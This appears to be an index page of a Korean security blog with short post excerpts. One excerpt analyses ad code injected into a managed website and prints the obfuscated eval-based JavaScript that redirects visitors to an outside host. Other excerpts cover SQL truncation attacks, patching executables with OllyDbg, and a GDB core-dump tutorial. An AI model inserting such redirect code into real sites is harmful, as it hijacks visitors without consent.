본문 바로가기

hi.pe.kr2191

해외에서 삽입한 악성코드 아닌 광고코드 분석 관리중인 모 사이트에 아래와 같은 악성코드는 아닌 광고코드가 삽입되었으며, 침해 분석 결과 해외 아이피로 확인되었음. 일단 침해된 방법에 대해서는 차단하였으나 추가적인 시도 가능성 모니터링 필요. -- 삽입코드 -- 정상 코드로 변환하여.. -- 원형 코드 -- 추가 다운로드 코드 (bidch.js) -- que 입력값 : test -- 소스 코드 -- function f(str) { z="ion='"; d="win"; c="cat"; f7=str; b="dow.lo"; g="';"; i=7; j=21; if (j-14==i) eval(d+b+c+z+f7+g); } f('http://bestforyou.if.ua/feed/search.php?q=test'); -- 원형 코드 -- window.locati.. 2009. 3. 3.
새로운 SQL 잘라내기 공격 및 대처 방법 2006년 http://msdn.microsoft.com/ko-kr/magazine/cc163523.aspx 2008년 http://www.dbguide.net/know/know109001.jsp SQL 주입을 이용하는 공격은 방화벽과 침입 검색 시스템을 통과해서 데이터 계층을 손상시킬 수 있다는 점 때문에 많은 관심을 끌었습니다. 기본 코드 패턴을 보면 1차 또는 2차 주입 모두 문을 생성할 때 신뢰할 수 없는 데이터를 사용한 경우에 발생하는 다른 주입 문제와 비슷합니다. 대부분의 개발자는 백 엔드에서 매개 변수가 있는 SQL 쿼리를 저장 프로시저와 함께 사용하여 웹 프런트 엔드의 취약점을 완화하고 있지만, 사용자 입력 기반의 DDL(데이터 정의 언어) 문을 생성하는 경우 또는 C/C++로 작성된 응용.. 2009. 3. 2.
통합보안관리시스템 - ESM (Enterprise Security Management) EMS란 방화벽, 침입탐지시스템(IDS), 가상시설망(VPN) 등 다양한 종류의 보안 솔루션을 하나로 모은 통합보안관리시스템이다. ESM은 최근 통합관리 수준에서 벗어나 시스템자원관리(SMS), 네트워크자원관리(NMS) 등 전사적 자원관리시스템까지 포함하는 형태로 개발되는 추세여서 ESM이 상용화되면 기업들은 다른 기종의 보안 솔루션들을 설치하면서 중복투자를 하거나 자원을 낭비하는 것을 막을 수 있다. 그리고 또 하나,솔루션간 상호 연동을 통해 전체 정보통신 시스템에 대한 보안 정책도 수립할 수 있다는 점이 ESM가 주목받는 이유중의 하나이다. 현재 세계적으로 ESM 시장은 몇몇 업체를 제외하곤 상용화된 제품이 거의 없을 정도로 아직 개발 단계에 불과하며 체크포인트, ISS 등 주요 보안솔루션 업체들이 .. 2009. 3. 2.
OllyDbg/Hiew 분기 어셈코드 넣는 방법 바이너리로 되어있는 exe파일에 section을 추가하고, Import table을 추가한뒤에 새로 imported된 API를 호출해 기존프로그램에 기능을 추가하는.. 일종의 ReverseMe 프로그램을 만지작 거리다 왔다. 간단히 두개의 API를 import테이블에 추가해서 호출하면 되는데 공간이 없는 바람에 section을 새로 만들고.. 언제나 그렇듯이 뭔가가 하나가 플러스되면 항상 삽질도 반비례하게 플러스되고, import table에 함수를 넣는과정에서도 역시 삽질.. 그리고 마지막으로 기능추가 어셈코드를 추가할때도 잠깐 삽질.. 그 과정을 거쳐 몇시간만에 끝을냈다. 씨~ 이건 완전 노가다야!! 역시 소스코드가 없는 프로그램을 조작한다는건 정말 만만치 않은 작업이라는걸 새삼 깨닫게 된다. 물론 .. 2009. 3. 1.
GDB를 사용한 CORE 파일의 분석 프로세스가 비정상적으로 종료될 경우, core 파일을 통하여 원인 분석을 할 수 있으며, 프로세스가 비정상적으로 종료될 경우, core 파일을 남길지 여부는 다음과 같은 명령어를 통해서 설정이 가능합니다. [step 1] 비정상 종료 되는 샘플 프로그램 작성#include #include void Abnormal() { int n = 1024; char *p = (char *)malloc(sizeof(char) * 1); free(p); free(p); /* double free */ } void AbnormalContainer() { Abnormal(); } void Normal() { printf("normal function.\n"); } int main(int argc, char **argv) {.. 2009. 3. 1.